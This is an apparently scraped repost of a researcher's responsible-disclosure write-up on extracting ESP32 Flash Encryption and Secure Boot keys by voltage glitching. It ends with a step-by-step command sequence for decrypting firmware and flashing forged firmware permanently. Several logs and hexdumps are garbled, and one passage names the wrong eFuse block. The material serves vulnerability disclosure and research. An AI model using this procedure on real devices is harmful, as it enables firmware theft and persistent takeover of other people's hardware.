in ,

Pwn the ESP32 Forever: Flash Encryption and SEC. Boot Keys Extraction, Hacker News


I wanted to close my investigation by targeting the two major security features:

  • Secure Boot
  • Flash Encryption

My final goal is to achievea PERSISTENT exploit, bypassing the Secure Boot and the Flash Encryption.

In this report, I disclose a full readout of protected E-Fuses storing two secret keys, one used for Flash Encryption (BLK1) and the other for the Secure Boot (BLK2).

This attack cannot be patched by the vendor on existing devices. It’s a FOREVER pwn.

Espressif and I decided to go toResponsible Disclosurefor this vulnerability (CVE – 2019 – 17391).

The OTP eFuses

One-Time Programmable (OTP) memory is a type of non-volatile memory (NVM) that permits data to be written to memory only once.

Once programmed, or blown, the contents cannot be changed and the contents are retained after power is removed.

Inside ESP 32, the OTP is based on eFuses technology (electronic Fuses), in order to store system parameters, security configuration and sensitive data.

Fundamentally, an eFuse is a single bit of non-volatile memory with the restriction that once an eFuse bit is programmed to 1, it can never be reverted to 0.

Software can instruct the eFuse Controller to program each bit for each system parameter as needed.

Some of these system parameters can be read by software using the eFuse Controller or directly used by hardware modules. Some eFuses blocks are R / W access protection.

ESP 32 eFuses Controller

Espressif provides a complete online documentation dedicated to this featurehere. The technical reference manual has also a chapter dedicated to the eFuses Controller (chapter 20).

The eFuses controller is in charge to manage the eFuses arrays and has 4 eFuses blocks, each one is 256 bits length (not all bits are available):

  • EFUSE_BLK0is used entirely for system purposes,
  • EFUSE_BLK1is used for Flash Encryption Key (FEK),
  • EFUSE_BLK2is used for Secure Boot Key (SBK),
  • EFUSE_BLK3can be partially reserved for the custom MAC address, or used entirely for user application.

The memory map of eFuses is the following:

In point of view, the most critical blocks areBLK1 and BLK2, which store respectively the FEK and SBK.

These blocks are Write protected by WR_DIS_BLK1 and WR_DIS_BLK2 and Read protected by RD_DIS_BLK1 and RD_DIS_BLK2.

The Secure Boot

Secure boot is the guardian of the firmware authenticity and integrity stored into the external SPI Flash memory.

It is easy for an attacker to modify the content of an external flash, to run its malicious code on the ESP 32. The secure boot is present to protect against this kind of firmware modification.

The Secure boot creates a chain of trust from the BootROM to the bootloader until the application firmware. It guarantees the code running on the device is genuine and cannot be modified without signing the binaries (using a secret key). The device will not execute unsigned binaries otherwise.

ESP 32 Secure Boot details

Espressif provides a complete online documentation dedicated to this featurehere.

How it works?

Secure boot is normally set during production (at the factory), considered as a secure environment.

First, during the Production

Secure Boot Key (SBK) stored into eFuses

The ESP 32 has a One Time Programmable (OTP) memory, based on four blocks of 256 eFuses (total of 1024 bits).

TheSecure Boot Key(SBK) is burned into the eFuses BLK2 (256 bits) during the production. This key is then used by AES – 256 ECB mode from the BootROM to verify the bootloader. The key cannot be readout or modify (the software cannot access the BLK2 block due to the Read / Write Protection eFuse).

This key has to be kept confidential to be sure an attacker cannot create a new bootloader image. It is also a good idea to have a unique key per device, to reduce the scalability if one secure boot key is leaked or recovered.

ECDSA key Pair

During the production phase, the vendor will also create anECDSA key pair(private key and public key).

The private key has to be kept confidential. The public key will be included at the end of the bootloader image. This key will be in charge to verify the signature of the app image.

The digest

At the address 0x0 in the SPI flash layout, a192 -bytes digesthas to be flashed. The output digest is 192 bytes of data is composed by 128 bytes of random, followed by the 64 bytes SHA – 512 digest computed such as:

Digest=SHA - 512 (AES - 256 ((bootloader.bin   ECDSA publ. key),SBK))

Focus on SBK

Consequently, I decide to focus on the SBK stored into the e-Fuses BLK2. In case of recovery, I should be able to sign my malicious bootloader and avoid ECDSA verification.

Secure Bootsettings

I respect the documentation to enable the secure boot feature on a new ESP 32 board manually, using these commands:

$ espefuse.py burn_key secure_boot ./hello_world_k1/secure-bootloader-key - 256 $ espefuse.py burn_efuse ABS_DONE_0

After the reset, the E-fuses map can be read usingespefuse.py(tool:)

Efuses summary after secure boot setting.

Secure boot is enabled (ABS_DONE_0=1) and the Secure Boot Key (BLK2) cannot be read or write anymore. CONSOLE_DEBUG_DISABLE was already burned when I received the board.

The ESP 32 will now authenticate the bootloader after each reset, the software then verifies the app and the code is running.

The Flash Encryption

Flash encryption is a feature for encrypting the contents of the ESP 32 ‘s attached SPI flash. When flash encryption is enabled, physical readout of the SPI flash is not sufficient to recover most flash contents.

With flash encryption enabled, following kinds of flash data are encrypted by default:

  • Bootloader
  • Partition Table
  • App partition

Other type of flash data are encrypted conditionally:

  • Secure boot bootloader digest (if secure boot is enabled)
  • Any partition marked with the “Encrypted” flag in the partition table

More details about Flash Encryption

Espressif provides a complete online documentation dedicated to this featurehere.

How it works?

Flash encryption is normally set during production (at the factory), considered as a secure environment.

Flash Encryption Key (FEK) stored into eFuses

The ESP 32 has a One Time Programmable (OTP) memory, based on four blocks of 256 eFuses (total of 1024 bits).

TheFlash Encryption Key(FEK) is burned into the BLK1 eFuses (256 bits.

The contents of the flash are encrypted using AES – 256.

The flash encryption key is stored in eFuses internal to the chip, and is protected from software access. It means the key cannot be readout or modify (the software cannot access the BLK1 block due to the Read / Write Protection eFuse).

AES – 256 Flash Encryption

The flash encryption algorithm is AES – 256, where the key is “tweaked” with the offset address of each 32 byte block of flash.

This means every 32 byte block (two consecutive 16 byte AES blocks) is encrypted with a unique key derived from the flash encryption key.

Flash access is transparent via the flash cache-mapping feature of ESP 32 – any flash regions, which are mapped to the address space, will be transparently decrypted when read.

Focus on FEK

I decide to focus on the FEK stored into the e-Fuses BLK1. In case of recovery, I should be able to encrypt a new bootloader or decrypt the entire firmware.

Time to set the Flash Encryption

To start with the Flash Encryption, I generate my own key and flash it into BLK2:

$ espsecure.py generate_flash_encryption_key my_flash_encryption_key.bin$ hexdump my_flash_encryption_key.bin00 00 00 0 C 838 e 375 7633  (5ff9)  f2dd 2ce9 00  (0) ********************************************************************************************************************************************************************************** (1f)   (A0 BF)  8f 14 68 CE 0 09 f  (9b) $ espefuse.py --port / dev / ttyUSB0 burn_key flash_encryption my_flash_encryption_key.binespefuse.py v2.7-dev Connecting ...... Write key in efuse block 1. The key block will be read and write protected (no further changes or readback). This is an irreversible operation. Type 'BURN' (all capitals) to continue. BURNBurned key data. New value: 9b 52 55 86 00 9f 68 CE 8F  (BF)  42 A0 1F  (2C E9 F2 DD)  65 5F F9 15 41 76  (E3) ********************************************************************************************************************************************* (C8)Disabling read / write to key efuse block ...

Then, I set the different e-Fuses in charge to activate the Flash Encryption:

$ espefuse.py burn_efuse FLASH_CRYPT_CONFIG 0xf
$ espefuse.py burn_efuse FLASH_CRYPT_CNT

To read the eFuses, thedumpcommand can also be used:

$ espefuse.py --port / dev / ttyUSB0 dumpespefuse.py v2.7-dev Connecting .... EFUSE block 0:00130180bf4dbb 34 00 e 43 C 71 00  (a) ************************************************************************************************************************************************************************************************ (0)  f 00 00  (0)  EFUSE block 1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00EFUSE block 2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00EFUSE block 3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

According to my reverse, in EFUSE block0, the first 32 bits-word correspond to the security configuration:

00130180=00 00 00 00 0001001100 00 0 001 10000000

These two bits correspond to the eFuses protecting BLK2 and BLK1 from Read operations. Any attempt to read BLK1 and BLK2 returns 0x 00.

At the end, the security configuration of the ESP 32 is the following:

Efuses summary for full secure configuration. Flash Encryption and Secure boot are enabled. BLK1 and BLK2 are rad and write protected.

Test app on Full Secure ESP 32

Espressif recommends the use of Secure boot and Flash Encryption for maximum security.

The following application will be compiled and flashed with the two security features enabled.

Compile the Test Application

A simplemain.clike that should be enough as a test application:

void app_main () { while (1) {printf ("Hello from SEC boot K1 & FE!  N");vTaskDelay (1000 / portTICK_PERIOD_MS) ; } }

To compile, I enable the secure boot and the flash encryption viamake menuconfig.

Flash the Test Application

All images are signed, encrypted and flashed one by one into the ESP 32 (I do that manually to acquire information regarding the flash encryption process):

$ espsecure.py encrypt_flash_data -k ../../my_flash_encryption_key. bin -o bootloader-reflash-digest-encrypted.bin -a 0x0 bootloader-reflash-digest.bin$ python /home/limited/esp/esp-idf/components/esptool_py/esptool/esptool.py --chip esp 32 --port / dev / ttyUSB0 --baud 115200 --before default_reset --after hard_reset write_flash -z --flash_mode dio - flash_freq 40 m --flash_size detect 0x0 / home / limited / esp / hello_world_k1_FE / build / bootloader / bootloader-reflash-digest-encrypted.bin$ espsecure.py encrypt_flash_data -k ../my_flash_encryption_key.bin -o hello-world-encrypted.bin -a 0x 10000 hello-world.bin$ espsecure.py encrypt_flash_data -k ../my_flash_encryption_key.bin -o partitions_singleapp-encrypted.bin -a 0x0 8000 partitions_singleapp.bin$ python /home/limited/esp/esp-idf/components/esptool_py/esptool/esptool.py --chip esp 32 --port / dev / ttyUSB0 --baud 115200 --before default_reset --after hard_reset write_flash -z --flash_mode dio - flash_freq 40 m --flash_size detect 0x 10000 / home / limited /esp/hello_world_k1_FE/build/hello-world-encrypted.bin 0x 8000 / home / limited / esp /hello_world_k1_FE/build/partitions_singleapp-encrypted.bin

Finally, it worked like a charm. UART log when power up:

ets Jun 8 2016 00: 22: 57 rst: 0x1 (POWERON_RESET), boot: 0x 13 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP: 0xee clk_drv: 0x 00, q_drv: 0x 00, d_drv: 0x 00, cs0_drv: 0x 00, hd_drv: 0x 00, wp_drv: 0x 00 mode: DIO, clock div: 2 load: 0x3fff 0018, len: 4 load: 0x3fff 001 c, len: 5548 load: 0x 40078000, len: 0 load: 0x 40078000, len: 21468 entry 0x 40078680 I (920) cpu_start: Pro cpu up. I (920) cpu_start: Starting app cpu, entry point is 0x 40080 e 44 I (0) cpu_start: App cpu up. I (923) heap_init: Initializing. RAM available for dynamic allocation: I (930) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM I (936) heap_init: At 3FFB  (A8 len) ******************************************************************************************************************************************************************************************* (D)  (181 KiB: DRAM I (942) heap_init: At 3FFE  (len) ****************************************************************************************************************************************************************************************** (BC0)  (KiB): D / IRAM I (949) heap_init: At 3FFE  (len 0) ******************************************************************************************************************************************************************************************** (BCB0)  (KiB): D / IRAM I (955 (heap_init: At  (B)  len  (B0) 93 KiB ): IRAM I (961) cpu_start : Pro cpu start user code I (308) cpu_start: Starting scheduler on PRO CPU. I (0) cpu_start: Starting scheduler on APP CPU. Hello from SEC boot K1 & FE! Hello from SEC boot K1 & FE! Hello from SEC boot K1 & FE!

Verify the flash memory content

To be sure the firmware is now encrypted, I dump the entire content of the Flash:

$ esptool.py -p / dev / ttyUSB0 -b 460800 read_flash 0 0x 400000 flash_contents.bin

As expected, the entire flash in encrypted:

Head of flash_contents.bin (it is encrypted, no doubt).

Time to Pwn!

… but wait LR, where is the Vuln here?

  • Yes, it is true. No vuln was previously identified…

    Black Box

    I insert a 1-Ohm Resistor (probed to the scope) on VDD_RTC to monitor the ESP 32 power activity during the boot-up.

    SimplePowerAnalysis is a useful technique to reverse some hardware processing:

    Analysis of ESP 32 hardware activity during the boot-up.
    CH1=UART TX; CH2=3.3V VDD (trigger); CH3=Power consumption; CH4=pulse command.

    I quickly identify a pure HW processing 500 us before the beginning of the UART ascii strings ‘ets June 2018 ‘corresponding to the BootROM process.

    This HW activity is probably the eFuses Controller initialisation, and a load of the eFuses values ​​in some dedicated buffer memory, to be used by the Flash controller for further steps).

    Let’s confirm my assumption.

    The Setup

    The LOLIN board is used for the tests. The ESP 32 is in full secure mode (Secure boot Flash encryption):

    LOLIN dev-kit 10 $ on Amazon)

    PCB modification

    I modify the PCB to control the VDD_CPU and the VDD_RTC simultaneously:

    Glitch on VDD_CPU and VDD_RTC simultaneously.

    Hardware Setup

    Final setup to perform voltage glitching on ESP 32.

    I use python to script and synchronize all the equipment.

    Download Mode and dump command

    The ESP 32 is set in Download Mode for this experiment (IO0 connected to GND). I will use the dump command previously presented:

    $ espefuse.py --port / dev / ttyUSB0 dumpespefuse.py v2.7-dev Connecting .... EFUSE block 0:00130180bf4dbb 34 00 e 43 C 71 00  (a) ************************************************************************************************************************************************************************************************ (0)  f 00 00  (0)  EFUSE block 1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00EFUSE block 2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00EFUSE block 3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    The Results

    This previous and specific processing is targeted using voltage fault injection on VDD_CPU and VDD_RTC. Here is a scope screen when the readout of RW protected eFuses is successful:

    Exact timing to disable the Read Protection into the eFuses Controller during the early boot-up. CH1=UART TX; CH2=3.3V VDD (trigger); CH3=Power consumption; CH4=pulse command.

    As a first result,Flash Encryption Keyis dumped:

    ----- Efuses reading 40 ----- Pulse delay=0. 001191230 espefuse.py v2.7-dev Connecting .... EFUSE block 0: 00120300 bf4dbb 34 00 e  (c)  00 00 a  (0) ******************************************************************************************************************** (f)  00  (0)  EFUSE block 1:(B CE)  f 00 56 BF  (f) ********************************************************************************************************** (fa0)  ddf2e 958 f 25 f 6543 33764115  (c)  E3EFUSE block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EFUSE block 3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  (0)

    As a second result,Secure boot Keyis dumped:

    ----- Efuses reading 19 ----- Pulse delay=0. 001190600 espefuse.py v2.7-dev Connecting .... EFUSE block 0: 001100 C0 BF4DBB   (e) *********************************************************************************************************************************************************** (C)  00 00 00 00  (f)  00  (0)  EFUSE block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EFUSE block 2:e  (F5BC2)  f 91 7C  (2eadd)  BC  (f)  5ae 3365 FD 3781029  (e)  C4CEFUSE block 3: 00 00 00 00 00 00 00 00 00800000 00 00 00 00 00 00 00 00 01000000 00 00 00 00 00000080

    The FATAL PoC

    Original PoC sent to The Vendor.

    One step needed for Full KEYS recovery

    Unfortunately, some error bytes are present into the previous dumped values ​​(probably provoked by the perturbation during the E-Fuses controller initialisation? Difficult to say without access to sensitive design information.

    After a short fault session, the log file contains 30 dumped values ​​but no one is corresponding to the exact real key value.

    A little statistical analysis is necessary. I write a Python Script to recover the Secure Boot Key from the previous 30 dumped keys:

    Full SBK recovery from previous dumped values.

    Note: Only the SBK is analized here. Same method can be applied to retrieve the FEK.

    In a real case scenario (without knowledge of the key), only the last byte has to be brute-forced. Same result for the FEK.

    SBK can be brute forced using digest comparison at 0x 80 in Flash. FEK can be brute forced using fw-decryption command. Not really a big deal.

    Full Fatal Exploit

    (on ESP)

    The Exploit to load his own codePERMANENTLYinto a ‘full secure ESP 32 ′is described below:

    # Dump the encrypted FW from Download Mode (or by Flash readout)$ esptool.py -p / dev / ttyUSB0 -b 460800 read_flash 0 0x 400000 flash_contents.bin  # Dump the FEK and SBK by Fatal Glitch Attack (described before) # Run Statistical analysis over 30 - 50 dumped values  # Decipher the FW using the True FEK (1-Byte BruteForce)  $ espsecure.py decrypt_flash_data --keyfile my_dumped_fek.bin --output decrypted.bin --address 0x0 flash_contents.bin# Extract bootloader.bin from decrypted FW starting at 0x 1000, bootloader size can differ (here it is 0x  F0)$ dd if=decrypted.bin of=bootloader.bin bs=1 skip=$ ((0x 1000)) count=$ ((0x 69 F0))# Extract iv.bin (the first 128 bytes of random at address 0x 00 in decrypted Firmware)$ dd if=decrypted.bin of=iv.bin bs=1 count=$ ((0x 80))# Compute the genuine digest using the True SBK (1-Byte BruteForce) and compare with original one at 0x 80 in decrypted firmware (64 bytes)  $ espsecure.py digest_secure_bootloader --keyfile my_dumped_sbk.bin --iv iv.bin bootloader.bin# Insert the FEK and SBK binary files in your workspace # Write Code # Compile images with sdkconfig (using FEK and SBK) # Flash the new encrypted & signed FW # Stay Relax, you just have bypassed secure boot and flash encryption Permanently.

    Just one thing, it is important to respect the bytes order when you write the key files. Check these examples:

    Real FEK. Bytes order has to be respected.
    Real SBK. Bytes order has to be respected.

    Conclusion

    The ESP 32 platform, set in Full Secure mode (Flash Encryption Secure Boot), is the target of this investigation. It is the maximum security level recommended by Espressif.

    Using voltage glitching to modify the Read Protection Values ​​of the E-Fuses Controller, a full Readout of Flash Encryption Key (FEK) and Secure Boot Key (SBK) have been achieved.

    This FATAL exploit allows an attacker to decrypt an encrypted firmware because he is now in possession of the AES Flash Encryption Key.

    Worst case scenario, he is now able to forge his own valid firmware (using the Secure Boot Key) then encrypt it (using the Flash Encryption Key) to replace the original firmware PERMANENTLY.

    No way to patch without HW revision.

    Due to the low-complexity, this attack can be reproduced on the field easily. IMO, a proficient hacker can reproduce this attack in less than one day and with less than 1000 $ equipment.

    All the ESP 32 are vulnerable. We are talking about several dozens of Millions devices on the field… (but devices are also offered for sale as we speak).

    Final words

    This last post closes my security investigation on ESP 32, which I consider now as a broken platform. I hope you appreciate the job.

    Stay tuned, news hacks to come…

    Timeline Disclosure

    24 / 07 / 2019: E-mail with PoC sent to Espressif.

    29 / 07 / 2019:Espressif acknowledges and proposes CVE process.

    05 / 09 / 2019:Espressif asks for 100 days resp. disclosure.

    11 / 10 / 2019:Espressif email to announce CVE – 2019 – 17391. Linkhere.

    01 / 11 / 2019:Security Advisory from Espressifhere.

    13 / 11 / (***************************************************************************************:Posted.

  • Brave Browser
    Read More
    Payeer

    What do you think?

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    GIPHY App Key not set. Please check settings

    Syria conflict: UK to repatriate orphaned children – BBC News, Google News

    Gabriel439 / simple-twitter, Hacker News

    Gabriel439 / simple-twitter, Hacker News